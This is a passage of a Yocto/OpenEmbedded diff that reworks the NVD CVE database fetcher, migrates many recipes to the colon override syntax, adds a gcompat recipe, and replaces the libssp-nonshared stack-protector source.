- response = urllib.request.urlopen(req)
+ with bb.progress.ProgressHandler(d) as ph, open(os.path.join(d.getVar("TMPDIR"), 'cve_check'), 'a') as cve_f:
+ total_years = date.today().year + 1 - YEAR_START
+ for i, year in enumerate(range(YEAR_START, date.today().year + 1)):
+ bb.debug(2, "Updating %d" % year)
+ ph.update((float(i + 1) / total_years) * 100)
+ year_url = (d.getVar('NVDCVE_URL')) + str(year)
+ meta_url = year_url + ".meta"
+ json_url = year_url + ".json.gz"
- if response:
- for l in response.read().decode("utf-8").splitlines():
- key, value = l.split(":", 1)
- if key == "lastModifiedDate":
- last_modified = value
- break
- else:
- bb.warn("Cannot parse CVE metadata, update failed")
- return
-
- # Compare with current db last modified date
- c.execute("select DATE from META where YEAR = ?", (year,))
- meta = c.fetchone()
- if not meta or meta[0] != last_modified:
- # Clear products table entries corresponding to current year
- c.execute("delete from PRODUCTS where ID like ?", ('CVE-%d%%' % year,))
-
- # Update db with current year json file
+ # Retrieve meta last modified date
try:
- if proxy_opener:
- response = proxy_opener.open(json_url)
- else:
- req = urllib.request.Request(json_url)
- response = urllib.request.urlopen(req)
-
- if response:
- update_db(c, gzip.decompress(response.read()).decode('utf-8'))
- c.execute("insert or replace into META values (?, ?)", [year, last_modified])
+ response = urllib.request.urlopen(meta_url)
except urllib.error.URLError as e:
- cve_f.write('Warning: CVE db update error, CVE data is outdated.\n\n')
- bb.warn("Cannot parse CVE data (%s), update failed" % e.reason)
+ cve_f.write('Warning: CVE db update error, Unable to fetch CVE data.\n\n')
+ bb.warn("Failed to fetch CVE data (%s)" % e.reason)
return
- # Update success, set the date to cve_check file.
- if year == date.today().year:
- cve_f.write('CVE database update : %s\n\n' % date.today())
+ if response:
+ for l in response.read().decode("utf-8").splitlines():
+ key, value = l.split(":", 1)
+ if key == "lastModifiedDate":
+ last_modified = value
+ break
+ else:
+ bb.warn("Cannot parse CVE metadata, update failed")
+ return
+
+ # Compare with current db last modified date
+ c.execute("select DATE from META where YEAR = ?", (year,))
+ meta = c.fetchone()
+ if not meta or meta[0] != last_modified:
+ bb.debug(2, "Updating entries")
+ # Clear products table entries corresponding to current year
+ c.execute("delete from PRODUCTS where ID like ?", ('CVE-%d%%' % year,))
+
+ # Update db with current year json file
+ try:
+ response = urllib.request.urlopen(json_url)
+ if response:
+ update_db(c, gzip.decompress(response.read()).decode('utf-8'))
+ c.execute("insert or replace into META values (?, ?)", [year, last_modified])
+ except urllib.error.URLError as e:
+ cve_f.write('Warning: CVE db update error, CVE data is outdated.\n\n')
+ bb.warn("Cannot parse CVE data (%s), update failed" % e.reason)
+ return
+ else:
+ bb.debug(2, "Already up to date (last modified %s)" % last_modified)
+ # Update success, set the date to cve_check file.
+ if year == date.today().year:
+ cve_f.write('CVE database update : %s\n\n' % date.today())
- cve_f.close()
- conn.commit()
- conn.close()
+ conn.commit()
+ conn.close()
}
+do_fetch[lockfiles] += "${CVE_CHECK_DB_FILE_LOCK}"
+do_fetch[file-checksums] = ""
+do_fetch[vardeps] = ""
+
def initialize_db(c):
c.execute("CREATE TABLE IF NOT EXISTS META (YEAR INTEGER UNIQUE, DATE TEXT)")
+
c.execute("CREATE TABLE IF NOT EXISTS NVD (ID TEXT UNIQUE, SUMMARY TEXT, \
SCOREV2 TEXT, SCOREV3 TEXT, MODIFIED INTEGER, VECTOR TEXT)")
+
c.execute("CREATE TABLE IF NOT EXISTS PRODUCTS (ID TEXT, \
VENDOR TEXT, PRODUCT TEXT, VERSION_START TEXT, OPERATOR_START TEXT, \
VERSION_END TEXT, OPERATOR_END TEXT)")
+ c.execute("CREATE INDEX IF NOT EXISTS PRODUCT_ID_IDX on PRODUCTS(ID);")
def parse_node_and_insert(c, node, cveId):
# Parse children node if needed
@@ -127,14 +139,27 @@ def parse_node_and_insert(c, node, cveId):
for cpe in node.get('cpe_match', ()):
if not cpe['vulnerable']:
return
- cpe23 = cpe['cpe23Uri'].split(':')
+ cpe23 = cpe.get('cpe23Uri')
+ if not cpe23:
+ return
+ cpe23 = cpe23.split(':')
+ if len(cpe23) < 6:
+ return
vendor = cpe23[3]
product = cpe23[4]
version = cpe23[5]
- if version != '*':
+ if cpe23[6] == '*' or cpe23[6] == '-':
+ version_suffix = ""
+ else:
+ version_suffix = "_" + cpe23[6]
+
+ if version != '*' and version != '-':
# Version is defined, this is a '=' match
- yield [cveId, vendor, product, version, '=', '', '']
+ yield [cveId, vendor, product, version + version_suffix, '=', '', '']
+ elif version == '-':
+ # no version information is available
+ yield [cveId, vendor, product, version, '', '', '']
else:
# Parse start version, end version and operators
op_start = ''
@@ -158,7 +183,12 @@ def parse_node_and_insert(c, node, cveId):
op_end = '<'
v_end = cpe['versionEndExcluding']
- yield [cveId, vendor, product, v_start, op_start, v_end, op_end]
+ if op_start or op_end or v_start or v_end:
+ yield [cveId, vendor, product, v_start, op_start, v_end, op_end]
+ else:
+ # This is no version information, expressed differently.
+ # Save processing by representing as -.
+ yield [cveId, vendor, product, '-', '', '', '']
c.executemany("insert into PRODUCTS values (?, ?, ?, ?, ?, ?, ?)", cpe_generator())
@@ -170,15 +200,20 @@ def update_db(c, jsondata):
if not elt['impact']:
continue
+ accessVector = None
cveId = elt['cve']['CVE_data_meta']['ID']
cveDesc = elt['cve']['description']['description_data'][0]['value']
date = elt['lastModifiedDate']
- accessVector = elt['impact']['baseMetricV2']['cvssV2']['accessVector']
- cvssv2 = elt['impact']['baseMetricV2']['cvssV2']['baseScore']
-
try:
+ accessVector = elt['impact']['baseMetricV2']['cvssV2']['accessVector']
+ cvssv2 = elt['impact']['baseMetricV2']['cvssV2']['baseScore']
+ except KeyError:
+ cvssv2 = 0.0
+ try:
+ accessVector = accessVector or elt['impact']['baseMetricV3']['cvssV3']['attackVector']
cvssv3 = elt['impact']['baseMetricV3']['cvssV3']['baseScore']
- except:
+ except KeyError:
+ accessVector = accessVector or "UNKNOWN"
cvssv3 = 0.0
c.execute("insert or replace into NVD values (?, ?, ?, ?, ?, ?)",
@@ -189,7 +224,6 @@ def update_db(c, jsondata):
parse_node_and_insert(c, config, cveId)
-addtask do_populate_cve_db before do_fetch
-do_populate_cve_db[nostamp] = "1"
+do_fetch[nostamp] = "1"
EXCLUDE_FROM_WORLD = "1"
diff --git a/meta/recipes-core/meta/dummy-sdk-package.inc b/meta/recipes-core/meta/dummy-sdk-package.inc
index 4d653706b1..bd26e39ad3 100644
--- a/meta/recipes-core/meta/dummy-sdk-package.inc
+++ b/meta/recipes-core/meta/dummy-sdk-package.inc
@@ -13,14 +13,19 @@ python() {
d.setVar('PACKAGE_ARCH', '${DUMMYARCH}')
}
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PR[vardeps] += "DUMMYPROVIDES"
+PR[vardeps] += "DUMMYPROVIDES_PACKAGES"
-python populate_packages_prepend() {
+DUMMYPROVIDES_PACKAGES ??= ""
+DUMMYPROVIDES_PACKAGES_MULTILIB = "${@' '.join([multilib_pkg_extend(d, pkg) for pkg in d.getVar('DUMMYPROVIDES_PACKAGES').split()])}"
+DUMMYPROVIDES += "${DUMMYPROVIDES_PACKAGES_MULTILIB}"
+
+python populate_packages:prepend() {
p = d.getVar("PN")
- d.appendVar("RPROVIDES_%s" % p, "${DUMMYPROVIDES}")
- d.appendVar("RCONFLICTS_%s" % p, "${DUMMYPROVIDES}")
- d.appendVar("RREPLACES_%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RPROVIDES:%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RCONFLICTS:%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RREPLACES:%s" % p, "${DUMMYPROVIDES_PACKAGES_MULTILIB}")
}
diff --git a/meta/recipes-core/meta/meta-environment-extsdk.bb b/meta/recipes-core/meta/meta-environment-extsdk.bb
index 2076b56f25..706312b0d6 100644
--- a/meta/recipes-core/meta/meta-environment-extsdk.bb
+++ b/meta/recipes-core/meta/meta-environment-extsdk.bb
@@ -4,7 +4,7 @@ require meta-environment.bb
PN = "meta-environment-extsdk-${MACHINE}"
-create_sdk_files_append() {
+create_sdk_files:append() {
local sysroot=${SDKPATH}/tmp/${@os.path.relpath(d.getVar('STAGING_DIR'), d.getVar('TMPDIR'))}/${MACHINE}
local sdkpathnative=${SDKPATH}/tmp/${@os.path.relpath(d.getVar('STAGING_DIR'), d.getVar('TMPDIR'))}/${BUILD_ARCH}
diff --git a/meta/recipes-core/meta/meta-environment.bb b/meta/recipes-core/meta/meta-environment.bb
index da1230bead..7118fb2aef 100644
--- a/meta/recipes-core/meta/meta-environment.bb
+++ b/meta/recipes-core/meta/meta-environment.bb
@@ -9,7 +9,7 @@ MODIFYTOS = "0"
REAL_MULTIMACH_TARGET_SYS = "${TUNE_PKGARCH}${TARGET_VENDOR}-${TARGET_OS}"
inherit toolchain-scripts
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_append = " zlib"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:append = " zlib"
# Need to expand here before cross-candian changes HOST_ARCH -> SDK_ARCH
TOOLCHAIN_CONFIGSITE_NOCACHE := "${TOOLCHAIN_CONFIGSITE_NOCACHE}"
@@ -47,6 +47,11 @@ python do_generate_content() {
}
addtask generate_content before do_install after do_compile
+python () {
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=False)
+ d.appendVarFlag("do_generate_content", "file-checksums", " " + " ".join(searched))
+}
+
create_sdk_files() {
# Setup site file for external use
toolchain_create_sdk_siteconfig ${SDK_OUTPUT}/${SDKPATH}/site-config-${REAL_MULTIMACH_TARGET_SYS}
@@ -66,7 +71,7 @@ do_install() {
PN = "meta-environment-${MACHINE}"
PACKAGES = "${PN}"
-FILES_${PN}= " \
+FILES:${PN}= " \
${SDKPATH}/* \
"
diff --git a/meta/recipes-core/meta/meta-extsdk-toolchain.bb b/meta/recipes-core/meta/meta-extsdk-toolchain.bb
index 235d6ecc0f..0df681ac73 100644
--- a/meta/recipes-core/meta/meta-extsdk-toolchain.bb
+++ b/meta/recipes-core/meta/meta-extsdk-toolchain.bb
@@ -16,6 +16,9 @@ addtask do_locked_sigs after do_populate_sysroot
SSTATETASKS += "do_locked_sigs"
do_locked_sigs[sstate-inputdirs] = "${LOCKED_SIGS_INDIR}"
do_locked_sigs[sstate-outputdirs] = "${STAGING_DIR}/${PACKAGE_ARCH}/${PN}/locked-sigs"
+# If a taskhash changes we need to use the latest hash changes. With unihash we may not rebuild.
+# eSDK which uses this is nostamp anyway
+do_locked_sigs[nostamp] = "1"
python do_locked_sigs() {
import oe.copy_buildsystem
diff --git a/meta/recipes-core/meta/meta-go-toolchain.bb b/meta/recipes-core/meta/meta-go-toolchain.bb
index dde385c1b1..c24518efe3 100644
--- a/meta/recipes-core/meta/meta-go-toolchain.bb
+++ b/meta/recipes-core/meta/meta-go-toolchain.bb
@@ -3,10 +3,10 @@ LICENSE = "MIT"
inherit populate_sdk
-TOOLCHAIN_HOST_TASK_append = " \
+TOOLCHAIN_HOST_TASK:append = " \
packagegroup-go-cross-canadian-${MACHINE} \
"
-TOOLCHAIN_TARGET_TASK_append = " \
+TOOLCHAIN_TARGET_TASK:append = " \
${@multilib_pkg_extend(d, 'packagegroup-go-sdk-target')} \
"
diff --git a/meta/recipes-core/meta/meta-ide-support.bb b/meta/recipes-core/meta/meta-ide-support.bb
index 768f6f4bb6..39317d50e0 100644
--- a/meta/recipes-core/meta/meta-ide-support.bb
+++ b/meta/recipes-core/meta/meta-ide-support.bb
@@ -6,10 +6,16 @@ DEPENDS = "virtual/libc gdb-cross-${TARGET_ARCH} qemu-native qemu-helper-native
PR = "r3"
RM_WORK_EXCLUDE += "${PN}"
-inherit meta toolchain-scripts nopackages
+inherit toolchain-scripts nopackages
do_populate_ide_support () {
toolchain_create_tree_env_script
}
+python () {
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=False)
+ d.setVar("CONFIG_SITE", " ".join(sitefiles))
+ d.appendVarFlag("do_populate_ide_support", "file-checksums", " " + " ".join(searched))
+}
+
addtask populate_ide_support before do_build after do_install
diff --git a/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb b/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
index 6a8748acdf..4909401c5a 100644
--- a/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
+++ b/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
@@ -1,6 +1,6 @@
DUMMYARCH = "buildtools-dummy-${SDKPKGSUFFIX}"
-DUMMYPROVIDES = "\
+DUMMYPROVIDES_PACKAGES = "\
nativesdk-perl \
nativesdk-libxml-parser-perl \
nativesdk-perl-module-bytes \
@@ -15,12 +15,24 @@ DUMMYPROVIDES = "\
nativesdk-perl-module-file-find \
nativesdk-perl-module-file-glob \
nativesdk-perl-module-file-path \
+ nativesdk-perl-module-file-spec \
nativesdk-perl-module-file-stat \
+ nativesdk-perl-module-file-temp \
nativesdk-perl-module-getopt-long \
nativesdk-perl-module-io-file \
+ nativesdk-perl-module-list-util \
+ nativesdk-perl-module-overloading \
nativesdk-perl-module-posix \
+ nativesdk-perl-module-scalar-util \
+ nativesdk-perl-module-strict \
+ nativesdk-perl-module-text-parsewords \
nativesdk-perl-module-thread-queue \
nativesdk-perl-module-threads \
+ nativesdk-perl-module-warnings \
+ nativesdk-perl-module-vars \
+"
+
+DUMMYPROVIDES = "\
/usr/bin/perl \
"
diff --git a/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb b/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb
index b891efa5ef..1d71f373a4 100644
--- a/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb
+++ b/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb
@@ -1,10 +1,13 @@
DUMMYARCH = "sdk-provides-dummy-${SDKPKGSUFFIX}"
-# Add /bin/sh?
+DUMMYPROVIDES_PACKAGES = "\
+ pkgconfig \
+"
+
DUMMYPROVIDES = "\
+ /bin/sh \
/bin/bash \
/usr/bin/env \
- pkgconfig \
libGL.so()(64bit) \
libGL.so \
"
diff --git a/meta/recipes-core/meta/package-index.bb b/meta/recipes-core/meta/package-index.bb
index a4123b7622..98c5bcb372 100644
--- a/meta/recipes-core/meta/package-index.bb
+++ b/meta/recipes-core/meta/package-index.bb
@@ -12,6 +12,7 @@ deltask do_patch
deltask do_configure
deltask do_compile
deltask do_install
+deltask do_populate_lic
deltask do_populate_sysroot
do_package_index[nostamp] = "1"
diff --git a/meta/recipes-core/meta/signing-keys.bb b/meta/recipes-core/meta/signing-keys.bb
index 1e1c7e3459..03463f95f5 100644
--- a/meta/recipes-core/meta/signing-keys.bb
+++ b/meta/recipes-core/meta/signing-keys.bb
@@ -14,9 +14,9 @@ SYSROOT_DIRS += "${sysconfdir}/pki"
PACKAGES =+ "${PN}-ipk ${PN}-rpm ${PN}-packagefeed"
-FILES_${PN}-rpm = "${sysconfdir}/pki/rpm-gpg"
-FILES_${PN}-ipk = "${sysconfdir}/pki/ipk-gpg"
-FILES_${PN}-packagefeed = "${sysconfdir}/pki/packagefeed-gpg"
+FILES:${PN}-rpm = "${sysconfdir}/pki/rpm-gpg"
+FILES:${PN}-ipk = "${sysconfdir}/pki/ipk-gpg"
+FILES:${PN}-packagefeed = "${sysconfdir}/pki/packagefeed-gpg"
python do_get_public_keys () {
from oe.gpg_sign import get_signer
@@ -67,8 +67,6 @@ do_deploy () {
fi
}
do_deploy[sstate-outputdirs] = "${DEPLOY_DIR_RPM}"
-# cleandirs should possibly be in deploy.bbclass but we need it
-do_deploy[cleandirs] = "${DEPLOYDIR}"
# clear stamp-extra-info since MACHINE_ARCH is normally put there by
# deploy.bbclass
do_deploy[stamp-extra-info] = ""
diff --git a/meta/recipes-core/meta/target-sdk-provides-dummy.bb b/meta/recipes-core/meta/target-sdk-provides-dummy.bb
index 87b8bfab9c..849407cca5 100644
--- a/meta/recipes-core/meta/target-sdk-provides-dummy.bb
+++ b/meta/recipes-core/meta/target-sdk-provides-dummy.bb
@@ -48,7 +48,6 @@ DUMMYPROVIDES_PACKAGES = "\
"
DUMMYPROVIDES = "\
- ${@' '.join([multilib_pkg_extend(d, pkg) for pkg in d.getVar('DUMMYPROVIDES_PACKAGES').split()])} \
/bin/sh \
/bin/bash \
/usr/bin/env \
@@ -59,4 +58,4 @@ DUMMYPROVIDES = "\
require dummy-sdk-package.inc
-SSTATE_DUPWHITELIST += "${PKGDATA_DIR}/${PN} ${PKGDATA_DIR}/runtime/${PN}"
+SSTATE_ALLOW_OVERLAP_FILES += "${PKGDATA_DIR}/${PN} ${PKGDATA_DIR}/runtime/${PN}"
diff --git a/meta/recipes-core/meta/testexport-tarball.bb b/meta/recipes-core/meta/testexport-tarball.bb
index c38ac902a0..bb9f8ded48 100644
--- a/meta/recipes-core/meta/testexport-tarball.bb
+++ b/meta/recipes-core/meta/testexport-tarball.bb
@@ -8,7 +8,7 @@ TEST_EXPORT_SDK_PACKAGES ??= ""
TOOLCHAIN_TARGET_TASK ?= ""
-TOOLCHAIN_HOST_TASK ?= "${TEST_EXPORT_SDK_PACKAGES}"
+TOOLCHAIN_HOST_TASK ?= "${TEST_EXPORT_SDK_PACKAGES} nativesdk-sdk-provides-dummy"
MULTIMACH_TARGET_SYS = "${SDK_ARCH}-nativesdk${SDK_VENDOR}-${SDK_OS}"
PACKAGE_ARCH = "${SDK_ARCH}_${SDK_OS}"
@@ -26,7 +26,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit toolchain-scripts-base
inherit nopackages
@@ -38,7 +37,7 @@ do_populate_sdk[stamp-extra-info] = "${PACKAGE_ARCH}"
REAL_MULTIMACH_TARGET_SYS = "none"
-create_sdk_files_append () {
+create_sdk_files:append () {
rm -f ${SDK_OUTPUT}/${SDKPATH}/site-config-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/environment-setup-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/version-*
@@ -58,8 +57,8 @@ create_sdk_files_append () {
if [ "${SDKMACHINE}" = "i686" ]; then
echo 'export NO32LIBS="0"' >>$script
- echo 'echo "$BB_ENV_EXTRAWHITE" | grep -q "NO32LIBS"' >>$script
- echo '[ $? != 0 ] && export BB_ENV_EXTRAWHITE="NO32LIBS $BB_ENV_EXTRAWHITE"' >>$script
+ echo 'echo "$BB_ENV_PASSTHROUGH_ADDITIONS" | grep -q "NO32LIBS"' >>$script
+ echo '[ $? != 0 ] && export BB_ENV_PASSTHROUGH_ADDITIONS="NO32LIBS $BB_ENV_PASSTHROUGH_ADDITIONS"' >>$script
fi
}
diff --git a/meta/recipes-core/meta/uninative-tarball.bb b/meta/recipes-core/meta/uninative-tarball.bb
index 39638eb8c5..a21d08b591 100644
--- a/meta/recipes-core/meta/uninative-tarball.bb
+++ b/meta/recipes-core/meta/uninative-tarball.bb
@@ -8,6 +8,7 @@ TOOLCHAIN_TARGET_TASK = ""
# utf-16, cp1252 - binutils-windres
TOOLCHAIN_HOST_TASK = "\
nativesdk-glibc \
+ nativesdk-glibc-dbg \
nativesdk-glibc-gconv-ibm850 \
nativesdk-glibc-gconv-iso8859-1 \
nativesdk-glibc-gconv-utf-16 \
@@ -18,6 +19,7 @@ TOOLCHAIN_HOST_TASK = "\
nativesdk-libxcrypt \
nativesdk-libxcrypt-compat \
nativesdk-libnss-nis \
+ nativesdk-sdk-provides-dummy \
"
INHIBIT_DEFAULT_DEPS = "1"
@@ -34,7 +36,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit nopackages
diff --git a/meta/recipes-core/meta/wic-tools.bb b/meta/recipes-core/meta/wic-tools.bb
index 09eb409e87..ba0916cb56 100644
--- a/meta/recipes-core/meta/wic-tools.bb
+++ b/meta/recipes-core/meta/wic-tools.bb
@@ -3,14 +3,15 @@ SUMMARY = "A meta recipe to build native tools used by wic."
LICENSE = "MIT"
DEPENDS = "\
- parted-native syslinux-native gptfdisk-native dosfstools-native \
- mtools-native bmap-tools-native grub-efi-native cdrtools-native \
+ parted-native gptfdisk-native dosfstools-native \
+ mtools-native bmap-tools-native grub-native cdrtools-native \
btrfs-tools-native squashfs-tools-native pseudo-native \
- e2fsprogs-native util-linux-native \
+ e2fsprogs-native util-linux-native tar-native\
"
-DEPENDS_append_x86 = " syslinux grub-efi systemd-boot"
-DEPENDS_append_x86-64 = " syslinux grub-efi systemd-boot"
-DEPENDS_append_x86-x32 = " syslinux grub-efi"
+DEPENDS:append:x86 = " syslinux-native syslinux grub-efi systemd-boot"
+DEPENDS:append:x86-64 = " syslinux-native syslinux grub-efi systemd-boot"
+DEPENDS:append:x86-x32 = " syslinux-native syslinux grub-efi"
+DEPENDS:append:aarch64 = " grub-efi systemd-boot"
INHIBIT_DEFAULT_DEPS = "1"
diff --git a/meta/recipes-core/musl/bsd-headers.bb b/meta/recipes-core/musl/bsd-headers.bb
index c9945d45eb..cf8af0da3c 100644
--- a/meta/recipes-core/musl/bsd-headers.bb
+++ b/meta/recipes-core/musl/bsd-headers.bb
@@ -27,5 +27,5 @@ do_install() {
#
COMPATIBLE_HOST = ".*-musl.*"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch b/meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch
new file mode 100644
index 0000000000..1d731163d0
--- /dev/null
+++ b/meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch
@@ -0,0 +1,30 @@
+From 01180e78fe9568e7fb2673ba61801c42f0f70115 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 11 Mar 2022 10:37:51 -0800
+Subject: [PATCH] make: Static PIE does not work on musl/ppc
+
+Fixes linker error e.g.
+"read-only segment has dynamic relocations"
+
+Upstream-Status: Inappropriate [OE specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index cbb7634..69ee228 100644
+--- a/Makefile
++++ b/Makefile
+@@ -76,7 +76,7 @@ ${LIBGCOMPAT_NAME}: ${LIBGCOMPAT_OBJ}
+ ${LIBGCOMPAT_OBJ}: ${LIBGCOMPAT_INCLUDE}
+
+ ${LOADER_NAME}: ${LOADER_OBJ}
+- ${CC} ${CFLAGS} ${LDFLAGS} -static-pie -o ${LOADER_NAME} ${LOADER_OBJ}
++ ${CC} ${CFLAGS} ${LDFLAGS} -static -o ${LOADER_NAME} ${LOADER_OBJ}
+
+ .c.o:
+ ${CC} ${CPPFLAGS} ${CFLAGS} -c -D_BSD_SOURCE \
+--
+2.35.1
+
diff --git a/meta/recipes-core/musl/gcompat_git.bb b/meta/recipes-core/musl/gcompat_git.bb
new file mode 100644
index 0000000000..962bcd8c75
--- /dev/null
+++ b/meta/recipes-core/musl/gcompat_git.bb
@@ -0,0 +1,57 @@
+# Copyright (C) 2021 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "A library which provides glibc-compatible APIs for use on musl libc systems"
+HOMEPAGE = "https://git.adelielinux.org/adelie/gcompat"
+
+LICENSE = "NCSA"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=eb33ef4af05a9c7602843afb7adfe792"
+
+SRC_URI = "git://git.adelielinux.org/adelie/gcompat.git;protocol=https;branch=current \
+ "
+SRC_URI:append:powerpc = "\
+ file://0001-make-Static-PIE-does-not-work-on-musl-ppc.patch \
+ "
+PV = "1.0.0+1.1+git${SRCPV}"
+SRCREV = "4d6a5156a6eb7f56b30d93853a872e36dadde81b"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig linuxloader siteinfo
+
+DEPENDS += "musl-obstack"
+
+GLIBC_LDSO = "${@get_glibc_loader(d)}"
+MUSL_LDSO = "${@get_musl_loader(d)}"
+
+EXTRA_OEMAKE = "LINKER_PATH=${MUSL_LDSO} \
+ LOADER_NAME=`basename ${GLIBC_LDSO}` \
+ "
+
+do_configure () {
+ :
+}
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ if [ "${SITEINFO_BITS}" = "64" ]; then
+ install -d ${D}/lib64
+ ln -rs ${D}${GLIBC_LDSO} ${D}/lib64/`basename ${GLIBC_LDSO}`
+ fi
+}
+
+FILES:${PN} += "/lib64"
+
+INSANE_SKIP:${PN} = "libdir"
+
+RPROVIDES:${PN} += "musl-glibc-compat"
+#
+# We will skip parsing for non-musl systems
+#
+COMPATIBLE_HOST = ".*-musl.*"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/libssp-nonshared.bb b/meta/recipes-core/musl/libssp-nonshared.bb
index bae8c81cc7..748dacf312 100644
--- a/meta/recipes-core/musl/libssp-nonshared.bb
+++ b/meta/recipes-core/musl/libssp-nonshared.bb
@@ -2,11 +2,12 @@
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Minimal libssp_nonshared.a must needed for ssp to work with gcc on musl"
-LICENSE = "GPL-3.0-with-GCC-exception"
-LIC_FILES_CHKSUM = "file://ssp-local.c;beginline=1;endline=32;md5=c06d391208c0cfcbc541a6728ed65cc4"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://stack_chk.c;beginline=1;endline=30;md5=97e59d9deee678a9332c9ddb2ab6360d"
SECTION = "libs"
-SRC_URI = "file://ssp-local.c"
+# Sourced from https://github.com/intel/linux-sgx/blob/master/sdk/compiler-rt/stack_chk.c
+SRC_URI = "file://stack_chk.c"
INHIBIT_DEFAULT_DEPS = "1"
@@ -19,8 +20,8 @@ do_configure[noexec] = "1"
S = "${WORKDIR}"
do_compile() {
- ${CC} ${CPPFLAGS} ${CFLAGS} -fPIE -c ssp-local.c -o ssp-local.o
- ${AR} r libssp_nonshared.a ssp-local.o
+ ${CC} ${CPPFLAGS} ${CFLAGS} -fPIE -c stack_chk.c -o stack_chk.o
+ ${AR} r libssp_nonshared.a stack_chk.o
}
do_install() {
install -Dm 0644 ${B}/libssp_nonshared.a ${D}${base_libdir}/libssp_nonshared.a
@@ -29,6 +30,6 @@ do_install() {
# We will skip parsing for non-musl systems
#
COMPATIBLE_HOST = ".*-musl.*"
-RDEPENDS_${PN}-staticdev = ""
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-staticdev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-staticdev = ""
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-staticdev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/libssp-nonshared/ssp-local.c b/meta/recipes-core/musl/libssp-nonshared/ssp-local.c
deleted file mode 100644
index 8f51afa2c1..0000000000
--- a/meta/recipes-core/musl/libssp-nonshared/ssp-local.c
+++ /dev/null
@@ -1,45 +0,0 @@
-/* Stack protector support.
- Copyright (C) 2005-2018 Free Software Foundation, Inc.
-
-This file is part of GCC.
-
-GCC is free software; you can redistribute it and/or modify it under
-the terms of the GNU General Public License as published by the Free
-Software Foundation; either version 3, or (at your option) any later
-version.
-
-In addition to the permissions in the GNU General Public License, the
-Free Software Foundation gives you unlimited permission to link the
-compiled version of this file into combinations with other programs,
-and to distribute those combinations without any restriction coming
-from the use of this file. (The General Public License restrictions
-do apply in other respects; for example, they cover modification of
-the file, and distribution when not linked into a combine
-executable.)
-
-GCC is distributed in the hope that it will be useful, but WITHOUT ANY
-WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-for more details.
-
-Under Section 7 of GPL version 3, you are granted additional
-permissions described in the GCC Runtime Library Exception, version
-3.1, as published by the Free Software Foundation.
-
-You should have received a copy of the GNU General Public License and
-a copy of the GCC Runtime Library Exception along with this program;
-see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
-<http://www.gnu.org/licenses/>. */
-
-extern void __stack_chk_fail (void);
-
-/* Some targets can avoid loading a GP for calls to hidden functions.
- Using this entry point may avoid the load of a GP entirely for the
- function, making the overall code smaller. */
-
-void
-__attribute__((visibility ("hidden")))
-__stack_chk_fail_local (void)
-{
- __stack_chk_fail ();
-}
diff --git a/meta/recipes-core/musl/libssp-nonshared/stack_chk.c b/meta/recipes-core/musl/libssp-nonshared/stack_chk.c
new file mode 100644
index 0000000000..097aae24b6
--- /dev/null
+++ b/meta/recipes-core/musl/libssp-nonshared/stack_chk.c
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2011-2021 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in
+ * the documentation and/or other materials provided with the
+ * distribution.
+ * * Neither the name of Intel Corporation nor the names of its
+ * contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
